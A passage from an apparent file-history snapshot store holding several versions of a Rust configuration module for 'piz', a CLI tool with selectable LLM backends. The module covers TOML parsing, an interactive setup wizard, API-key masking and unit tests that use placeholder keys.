assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 48);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "b6ff3c977175d4650d6bd48f9459a7166feae055": {"t": 1785760760.8056579, "n": 21552, "h": "c00f7b7ac9b20183", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 48\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 48\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Return a stable identifier for the active backend+model combination.\n/// Used as part of the cache key so switching models auto-invalidates stale entries.\npub fn active_model_id(config: &Config, backend_override: Option<&str>) -> String {\n let backend = backend_override.unwrap_or(&config.default_backend);\n let model = match backend {\n \"openai\" => config.openai.as_ref().map(|c| c.model.as_str()),\n \"claude\" => config.claude.as_ref().map(|c| c.model.as_str()),\n \"gemini\" => config.gemini.as_ref().map(|c| c.model.as_str()),\n \"ollama\" => config.ollama.as_ref().map(|c| c.model.as_str()),\n _ => None,\n };\n format!(\"{}:{}\", backend, model.unwrap_or(\"default\"))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 48);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 48);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "8a6b06e5122683d818d015494bf49ab55f65e8f7": {"t": 1785760762.3997986, "n": 20843, "h": "2041e0f168d0a867", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", 